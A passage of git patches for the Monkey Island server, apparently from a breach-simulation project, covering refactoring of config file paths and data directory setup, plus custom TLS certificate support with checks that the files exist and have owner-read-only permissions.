monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH -from monkey_island.setup.island_config_options import IslandConfigOptions +from monkey_island.cc.setup.island_config_options import IslandConfigOptions def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: diff --git a/monkey/monkey_island/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py similarity index 100% rename from monkey/monkey_island/setup/island_config_options.py rename to monkey/monkey_island/cc/setup/island_config_options.py diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py similarity index 96% rename from monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py rename to monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index 35126a278cb..ae26d5145d2 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -5,7 +5,7 @@ DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) -from monkey_island.setup.island_config_options import IslandConfigOptions +from monkey_island.cc.setup.island_config_options import IslandConfigOptions TEST_CONFIG_FILE_CONTENTS_SPECIFIED = { "data_dir": "/tmp", From 19e47583e9a5db88f208bdd8775f1cfce27f1b82 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 15:51:36 -0400 Subject: [PATCH 0671/1360] island: Use `os.getcwd()` for MONKEY_ISLAND_ABS_PATH on Windows See issue #1207 for more details. --- monkey/monkey_island/cc/server_utils/consts.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 6f4382b8734..a14c69d0be8 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -13,9 +13,17 @@ def get_default_data_dir() -> str: return r"$HOME/.monkey_island" +# TODO: Figure out why windows requires the use of `os.getcwd()`. See issue #1207. +def _get_monkey_island_abs_path() -> str: + if is_windows_os(): + return os.path.join(os.getcwd(), "monkey_island") + else: + return str(Path(__file__).resolve().parent.parent.parent) + + SERVER_CONFIG_FILENAME = "server_config.json" -MONKEY_ISLAND_ABS_PATH = str(Path(__file__).resolve().parent.parent.parent) +MONKEY_ISLAND_ABS_PATH = _get_monkey_island_abs_path() DEFAULT_DATA_DIR = os.path.expandvars(get_default_data_dir()) From 00434b9a25740e6858b28f6651ffaf32ecbfde83 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 16:09:57 -0400 Subject: [PATCH 0672/1360] Only search tests/unit_tests for monkey unit tests --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index e1a0baaa3a3..319c4cc1f98 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -19,7 +19,7 @@ log_cli = 1 log_cli_level = "DEBUG" log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" log_cli_date_format = "%H:%M:%S" -addopts = "-v --capture=sys tests" +addopts = "-v --capture=sys tests/unit_tests" norecursedirs = "node_modules dist" [tool.vulture] From 5ecc02d553cf8291ed33d6fcf4a16aaeed95eaa3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 19:28:45 -0400 Subject: [PATCH 0673/1360] island: Use the data_dir specified in the default server config --- .../cc/environment/server_config_handler.py | 16 ++++++++-------- monkey/monkey_island/cc/server_utils/consts.py | 2 +- monkey/monkey_island/cc/setup/config_setup.py | 9 ++++----- .../unit_tests/monkey_island/cc/test_consts.py | 4 ++-- 4 files changed, 15 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/environment/server_config_handler.py b/monkey/monkey_island/cc/environment/server_config_handler.py index f1e2358c4e2..b2f4883c00d 100644 --- a/monkey/monkey_island/cc/environment/server_config_handler.py +++ b/monkey/monkey_island/cc/environment/server_config_handler.py @@ -2,20 +2,20 @@ import os from pathlib import Path -from monkey_island.cc.server_utils.consts import ( - DEFAULT_DEVELOP_SERVER_CONFIG_PATH, - DEFAULT_SERVER_CONFIG_PATH, -) +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH, SERVER_CONFIG_FILENAME from monkey_island.cc.setup.island_config_options import IslandConfigOptions -def create_default_server_config_file() -> None: - if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): - write_default_server_config_to_file(DEFAULT_SERVER_CONFIG_PATH) +def create_default_server_config_file(data_dir) -> None: + config_file_path = os.path.join(data_dir, SERVER_CONFIG_FILENAME) + if not os.path.isfile(config_file_path): + write_default_server_config_to_file(config_file_path) + + return config_file_path def write_default_server_config_to_file(path: str) -> None: - default_config = Path(DEFAULT_DEVELOP_SERVER_CONFIG_PATH).read_text() + default_config = Path(DEFAULT_SERVER_CONFIG_PATH).read_text() Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index a14c69d0be8..3de221647b5 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -37,7 +37,7 @@ def _get_monkey_island_abs_path() -> str: ) DEFAULT_SERVER_CONFIG_PATH = os.path.expandvars( - os.path.join(DEFAULT_DATA_DIR, SERVER_CONFIG_FILENAME) + os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME) ) DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 6cc0367608f..601c67efc97 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -4,7 +4,7 @@ from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.setup.island_config_options import IslandConfigOptions @@ -23,8 +23,7 @@ def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, s def _setup_default_config() -> Tuple[IslandConfigOptions, str]: - server_config_path = DEFAULT_SERVER_CONFIG_PATH - create_secure_directory(DEFAULT_DATA_DIR, create_parent_dirs=False) - server_config_handler.create_default_server_config_file() - config = server_config_handler.load_server_config_from_file(server_config_path) + config = server_config_handler.load_server_config_from_file(DEFAULT_SERVER_CONFIG_PATH) + create_secure_directory(config.data_dir, create_parent_dirs=False) + server_config_path = server_config_handler.create_default_server_config_file(config.data_dir) return config, server_config_path diff --git a/monkey/tests/unit_tests/monkey_island/cc/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/test_consts.py index 993ddaa6447..600766aebfe 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/test_consts.py +++ b/monkey/tests/unit_tests/monkey_island/cc/test_consts.py @@ -5,8 +5,8 @@ def test_default_server_config_file_path(): if platform.system() == "Windows": - server_file_path = f"{consts.DEFAULT_DATA_DIR}\\{consts.SERVER_CONFIG_FILENAME}" + server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}\\cc\\{consts.SERVER_CONFIG_FILENAME}" else: - server_file_path = f"{consts.DEFAULT_DATA_DIR}/{consts.SERVER_CONFIG_FILENAME}" + server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}/cc/{consts.SERVER_CONFIG_FILENAME}" assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path From e57e28a97f592327d7109480275eb1e71f5da994 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 19:39:43 -0400 Subject: [PATCH 0674/1360] island: Consolidate tests for consts.py --- .../monkey_island/cc/server_utils/test_consts.py | 11 +++++++++++ .../tests/unit_tests/monkey_island/cc/test_consts.py | 12 ------------ 2 files changed, 11 insertions(+), 12 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/test_consts.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py index eeb600b9b49..a88f0c64b9e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py @@ -1,5 +1,16 @@ +import platform + from monkey_island.cc.server_utils import consts def test_monkey_island_abs_path(): assert consts.MONKEY_ISLAND_ABS_PATH.endswith("monkey_island") + + +def test_default_server_config_file_path(): + if platform.system() == "Windows": + server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}\\cc\\{consts.SERVER_CONFIG_FILENAME}" + else: + server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}/cc/{consts.SERVER_CONFIG_FILENAME}" + + assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path diff --git a/monkey/tests/unit_tests/monkey_island/cc/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/test_consts.py deleted file mode 100644 index 600766aebfe..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/test_consts.py +++ /dev/null @@ -1,12 +0,0 @@ -import platform - -import monkey_island.cc.server_utils.consts as consts - - -def test_default_server_config_file_path(): - if platform.system() == "Windows": - server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}\\cc\\{consts.SERVER_CONFIG_FILENAME}" - else: - server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}/cc/{consts.SERVER_CONFIG_FILENAME}" - - assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path From 0cd9709b826e3b212bd31c8af54583a8dbadb19b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 20:12:27 -0400 Subject: [PATCH 0675/1360] island: Remove server_config.json.develop Since Monkey Island no longer writes to server_config.json in the source code directory, and each package will overwrite server_config.json with its own server config (until we separate the deployment from the config in issue #1205), we no longer need server_config.json.develop and we don't need to worry about accidentally committing credentials to git. --- .travis.yml | 3 --- .../cc/{server_config.json.develop => server_config.json} | 0 monkey/monkey_island/cc/server_utils/consts.py | 4 ---- 3 files changed, 7 deletions(-) rename monkey/monkey_island/cc/{server_config.json.develop => server_config.json} (100%) diff --git a/.travis.yml b/.travis.yml index 6654cc3af27..b54e7d2cf0d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -21,9 +21,6 @@ python: os: linux -before_install: -# Init server_config.json to default -- cp monkey/monkey_island/cc/server_config.json.develop monkey/monkey_island/cc/server_config.json install: # Python diff --git a/monkey/monkey_island/cc/server_config.json.develop b/monkey/monkey_island/cc/server_config.json similarity index 100% rename from monkey/monkey_island/cc/server_config.json.develop rename to monkey/monkey_island/cc/server_config.json diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 3de221647b5..357e2bc8e09 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -40,9 +40,5 @@ def _get_monkey_island_abs_path() -> str: os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME) ) -DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", f"{SERVER_CONFIG_FILENAME}.develop" -) - DEFAULT_LOG_LEVEL = "INFO" DEFAULT_START_MONGO_DB = True From c9a53833e2b25fc638e752ed9c2365dfc658c17c Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 2 Jun 2021 19:39:47 +0530 Subject: [PATCH 0676/1360] Add support for custom certificate (partially) --- monkey/common/utils/exceptions.py | 4 ++++ monkey/monkey_island/cc/server_setup.py | 5 ++-- .../monkey_island/cc/server_utils/consts.py | 3 +++ .../cc/setup/certificate/certificate_setup.py | 23 +++++++++++++++++++ .../cc/setup/island_config_options.py | 6 +++++ 5 files changed, 38 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/setup/certificate/certificate_setup.py diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 8396b423b2e..632c08991a4 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -52,3 +52,7 @@ class FindingWithoutDetailsError(Exception): class DomainControllerNameFetchError(FailedExploitationError): """ Raise on failed attempt to extract domain controller's name """ + + +class InsecurePermissionsError(Exception): + """ Raise when a file does not have permissions that are secure enough """ diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 4eaa13131df..faec1ec96aa 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -22,13 +22,13 @@ from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 +from monkey_island.cc.setup.certificate.certificate_setup import setup_certificate # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 MONGO_URL, @@ -83,8 +83,7 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) populate_exporter_list() app = init_app(MONGO_URL) - crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) - key_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) + crt_path, key_path = setup_certificate(config_options) init_collections() diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index a14c69d0be8..2a50e01aa4d 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -46,3 +46,6 @@ def _get_monkey_island_abs_path() -> str: DEFAULT_LOG_LEVEL = "INFO" DEFAULT_START_MONGO_DB = True + +DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) +DEFAULT_KEY_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py new file mode 100644 index 00000000000..959025e0360 --- /dev/null +++ b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py @@ -0,0 +1,23 @@ +import os + +from common.utils.exceptions import InsecurePermissionsError +from monkey_island.setup.island_config_options import IslandConfigOptions + + +def setup_certificate(config_options: IslandConfigOptions) -> (str, str): + crt_path = config_options.crt_path + key_path = config_options.key_path + + # check paths + for file in [crt_path, key_path]: + if not os.path.exists(file): + raise FileNotFoundError(f"File not found at {file}. Exiting.") + + if not has_sufficient_permissions(file): + raise InsecurePermissionsError(f"{file} has insecure permissions. Exiting.") + + return crt_path, key_path + + +def has_sufficient_permissions(): + pass diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 5ce62ba2e28..0df903587a4 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -3,7 +3,9 @@ import os from monkey_island.cc.server_utils.consts import ( + DEFAULT_CRT_PATH, DEFAULT_DATA_DIR, + DEFAULT_KEY_PATH, DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) @@ -14,8 +16,12 @@ def __init__(self, config_contents: dict): self.data_dir = os.path.expandvars( os.path.expanduser(config_contents.get("data_dir", DEFAULT_DATA_DIR)) ) + self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) self.start_mongodb = config_contents.get( "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} ).get("start_mongodb", DEFAULT_START_MONGO_DB) + + self.crt_path = config_contents.get("cert_path", DEFAULT_CRT_PATH) + self.key_path = config_contents.get("cert_path", DEFAULT_KEY_PATH) From c1463b4a1814c668454ed9401d75482f9bbc7885 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 3 Jun 2021 16:11:33 +0530 Subject: [PATCH 0677/1360] Implement `has_sufficient_permissions` function for checking certificate files --- .../cc/setup/certificate/certificate_setup.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py index 959025e0360..2cb2f1e034f 100644 --- a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py +++ b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py @@ -14,10 +14,17 @@ def setup_certificate(config_options: IslandConfigOptions) -> (str, str): raise FileNotFoundError(f"File not found at {file}. Exiting.") if not has_sufficient_permissions(file): - raise InsecurePermissionsError(f"{file} has insecure permissions. Exiting.") + raise InsecurePermissionsError( + f"{file} has insecure permissions. Required permissions: r--------. Exiting." + ) return crt_path, key_path -def has_sufficient_permissions(): - pass +def has_sufficient_permissions(path: str) -> bool: + required_permissions = "0o400" + + file_mode = os.stat(path).st_mode + file_permissions = oct(file_mode & 0o777) + + return file_permissions == required_permissions From 6f1154f91178fbfe9e714b087741a1bbf6a9dcd3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 3 Jun 2021 16:17:47 +0530 Subject: [PATCH 0678/1360] Add log message for which certificate is being used --- .../monkey_island/cc/setup/certificate/certificate_setup.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py index 2cb2f1e034f..692dd5aa960 100644 --- a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py +++ b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py @@ -1,8 +1,11 @@ +import logging import os from common.utils.exceptions import InsecurePermissionsError from monkey_island.setup.island_config_options import IslandConfigOptions +logger = logging.getLogger(__name__) + def setup_certificate(config_options: IslandConfigOptions) -> (str, str): crt_path = config_options.crt_path @@ -18,6 +21,8 @@ def setup_certificate(config_options: IslandConfigOptions) -> (str, str): f"{file} has insecure permissions. Required permissions: r--------. Exiting." ) + logger.INFO(f"Using certificate path: {crt_path}, and key path: {key_path}.") + return crt_path, key_path From a2bd59c3772f974b420b3145704978eb2f62829f Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 3 Jun 2021 18:38:13 +0530 Subject: [PATCH 0679/1360] Move `has_sufficient_permissions` to a separate file in utils/ --- .../cc/services/utils/file_permissions.py | 8 ++++++++ .../cc/setup/certificate/certificate_setup.py | 12 ++---------- 2 files changed, 10 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/services/utils/file_permissions.py diff --git a/monkey/monkey_island/cc/services/utils/file_permissions.py b/monkey/monkey_island/cc/services/utils/file_permissions.py new file mode 100644 index 00000000000..05587ad0972 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/file_permissions.py @@ -0,0 +1,8 @@ +import os + + +def has_sufficient_permissions(path: str, required_permissions: str) -> bool: + file_mode = os.stat(path).st_mode + file_permissions = oct(file_mode & 0o777) + + return file_permissions == required_permissions diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py index 692dd5aa960..0ae7535e06d 100644 --- a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py +++ b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py @@ -2,6 +2,7 @@ import os from common.utils.exceptions import InsecurePermissionsError +from monkey_island.cc.services.utils.file_permissions import has_sufficient_permissions from monkey_island.setup.island_config_options import IslandConfigOptions logger = logging.getLogger(__name__) @@ -16,7 +17,7 @@ def setup_certificate(config_options: IslandConfigOptions) -> (str, str): if not os.path.exists(file): raise FileNotFoundError(f"File not found at {file}. Exiting.") - if not has_sufficient_permissions(file): + if not has_sufficient_permissions(path=file, required_permissions="0o400"): raise InsecurePermissionsError( f"{file} has insecure permissions. Required permissions: r--------. Exiting." ) @@ -24,12 +25,3 @@ def setup_certificate(config_options: IslandConfigOptions) -> (str, str): logger.INFO(f"Using certificate path: {crt_path}, and key path: {key_path}.") return crt_path, key_path - - -def has_sufficient_permissions(path: str) -> bool: - required_permissions = "0o400" - - file_mode = os.stat(path).st_mode - file_permissions = oct(file_mode & 0o777) - - return file_permissions == required_permissions From 88ae762618aca37a1df79c575fadfa034f1caa88 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 4 Jun 2021 12:17:21 +0530 Subject: [PATCH 0680/1360] Expand cert and key path in IslandConfigOptions --- monkey/monkey_island/cc/server_utils/consts.py | 1 + monkey/monkey_island/cc/setup/island_config_options.py | 8 ++++++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 2a50e01aa4d..333008c6d2a 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -45,6 +45,7 @@ def _get_monkey_island_abs_path() -> str: ) DEFAULT_LOG_LEVEL = "INFO" + DEFAULT_START_MONGO_DB = True DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 0df903587a4..e8a0f7016cf 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -23,5 +23,9 @@ def __init__(self, config_contents: dict): "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} ).get("start_mongodb", DEFAULT_START_MONGO_DB) - self.crt_path = config_contents.get("cert_path", DEFAULT_CRT_PATH) - self.key_path = config_contents.get("cert_path", DEFAULT_KEY_PATH) + self.crt_path = os.path.expandvars( + os.path.expanduser(config_contents.get("cert_path", DEFAULT_CRT_PATH)) + ) + self.key_path = os.path.expandvars( + os.path.expanduser(config_contents.get("key_path", DEFAULT_KEY_PATH)) + ) From d740173f79ec73bf71ed555b68ee2e764fb3f0dc Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 4 Jun 2021 13:20:01 +0530 Subject: [PATCH 0681/1360] Post-rebase fixes --- .../monkey_island/cc/setup/certificate/certificate_setup.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py index 0ae7535e06d..8363b675d0c 100644 --- a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py +++ b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py @@ -3,7 +3,7 @@ from common.utils.exceptions import InsecurePermissionsError from monkey_island.cc.services.utils.file_permissions import has_sufficient_permissions -from monkey_island.setup.island_config_options import IslandConfigOptions +from monkey_island.cc.setup.island_config_options import IslandConfigOptions logger = logging.getLogger(__name__) @@ -22,6 +22,6 @@ def setup_certificate(config_options: IslandConfigOptions) -> (str, str): f"{file} has insecure permissions. Required permissions: r--------. Exiting." ) - logger.INFO(f"Using certificate path: {crt_path}, and key path: {key_path}.") + logger.info(f"Using certificate path: {crt_path}, and key path: {key_path}.") return crt_path, key_path From b0ac07553acfde9210e083512f6655cbf069e639 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 6 Jun 2021 19:01:16 -0400 Subject: [PATCH 0682/1360] island: Assert isdir() in test_monkey_island_abs_path() --- .../unit_tests/monkey_island/cc/server_utils/test_consts.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py index eeb600b9b49..8d0b0b1b406 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py @@ -1,5 +1,8 @@ +import os + from monkey_island.cc.server_utils import consts def test_monkey_island_abs_path(): assert consts.MONKEY_ISLAND_ABS_PATH.endswith("monkey_island") + assert os.path.isdir(consts.MONKEY_ISLAND_ABS_PATH) From 53a126482f3a6491529128ed1eb016428d74ad5b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 13:14:31 +0530 Subject: [PATCH 0683/1360] Extract file checking activities --- .../cc/services/utils/file_handling.py | 22 +++++++++++++++++++ .../cc/services/utils/file_permissions.py | 8 ------- .../cc/setup/certificate/certificate_setup.py | 17 +++++--------- 3 files changed, 28 insertions(+), 19 deletions(-) create mode 100644 monkey/monkey_island/cc/services/utils/file_handling.py delete mode 100644 monkey/monkey_island/cc/services/utils/file_permissions.py diff --git a/monkey/monkey_island/cc/services/utils/file_handling.py b/monkey/monkey_island/cc/services/utils/file_handling.py new file mode 100644 index 00000000000..0715e6efe73 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/file_handling.py @@ -0,0 +1,22 @@ +import os + +from common.utils.exceptions import InsecurePermissionsError + + +def ensure_file_existence(file: str) -> None: + if not os.path.exists(file): + raise FileNotFoundError(f"File not found at {file}. Exiting.") + + +def ensure_file_permissions(file: str) -> None: + if not file_has_sufficient_permissions(path=file, required_permissions="0o400"): + raise InsecurePermissionsError( + f"{file} has insecure permissions. Required permissions: r--------. Exiting." + ) + + +def file_has_sufficient_permissions(path: str, required_permissions: str) -> bool: + file_mode = os.stat(path).st_mode + file_permissions = oct(file_mode & 0o777) + + return file_permissions == required_permissions diff --git a/monkey/monkey_island/cc/services/utils/file_permissions.py b/monkey/monkey_island/cc/services/utils/file_permissions.py deleted file mode 100644 index 05587ad0972..00000000000 --- a/monkey/monkey_island/cc/services/utils/file_permissions.py +++ /dev/null @@ -1,8 +0,0 @@ -import os - - -def has_sufficient_permissions(path: str, required_permissions: str) -> bool: - file_mode = os.stat(path).st_mode - file_permissions = oct(file_mode & 0o777) - - return file_permissions == required_permissions diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py index 8363b675d0c..1eaab4f044b 100644 --- a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py +++ b/monkey/monkey_island/cc/setup/certificate/certificate_setup.py @@ -1,8 +1,9 @@ import logging -import os -from common.utils.exceptions import InsecurePermissionsError -from monkey_island.cc.services.utils.file_permissions import has_sufficient_permissions +from monkey_island.cc.services.utils.file_handling import ( + ensure_file_existence, + ensure_file_permissions, +) from monkey_island.cc.setup.island_config_options import IslandConfigOptions logger = logging.getLogger(__name__) @@ -12,15 +13,9 @@ def setup_certificate(config_options: IslandConfigOptions) -> (str, str): crt_path = config_options.crt_path key_path = config_options.key_path - # check paths for file in [crt_path, key_path]: - if not os.path.exists(file): - raise FileNotFoundError(f"File not found at {file}. Exiting.") - - if not has_sufficient_permissions(path=file, required_permissions="0o400"): - raise InsecurePermissionsError( - f"{file} has insecure permissions. Required permissions: r--------. Exiting." - ) + ensure_file_existence(file) + ensure_file_permissions(file) logger.info(f"Using certificate path: {crt_path}, and key path: {key_path}.") From 4ad49d19c75bc7661fe41a8acf1fe36b3b1ecbdb Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 13:21:51 +0530 Subject: [PATCH 0684/1360] Rename "required" permissions to "expected" permissions --- monkey/monkey_island/cc/services/utils/file_handling.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/utils/file_handling.py b/monkey/monkey_island/cc/services/utils/file_handling.py index 0715e6efe73..a96e8baac46 100644 --- a/monkey/monkey_island/cc/services/utils/file_handling.py +++ b/monkey/monkey_island/cc/services/utils/file_handling.py @@ -9,14 +9,14 @@ def ensure_file_existence(file: str) -> None: def ensure_file_permissions(file: str) -> None: - if not file_has_sufficient_permissions(path=file, required_permissions="0o400"): + if not file_has_expected_permissions(path=file, expected_permissions="0o400"): raise InsecurePermissionsError( f"{file} has insecure permissions. Required permissions: r--------. Exiting." ) -def file_has_sufficient_permissions(path: str, required_permissions: str) -> bool: +def file_has_expected_permissions(path: str, expected_permissions: str) -> bool: file_mode = os.stat(path).st_mode file_permissions = oct(file_mode & 0o777) - return file_permissions == required_permissions + return file_permissions == expected_permissions From 5ba8effe1a45f744251fb7661ef0938bd6e5ce55 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 13:26:14 +0530 Subject: [PATCH 0685/1360] Use octal representation for permissions --- monkey/monkey_island/cc/services/utils/file_handling.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/utils/file_handling.py b/monkey/monkey_island/cc/services/utils/file_handling.py index a96e8baac46..114405647fb 100644 --- a/monkey/monkey_island/cc/services/utils/file_handling.py +++ 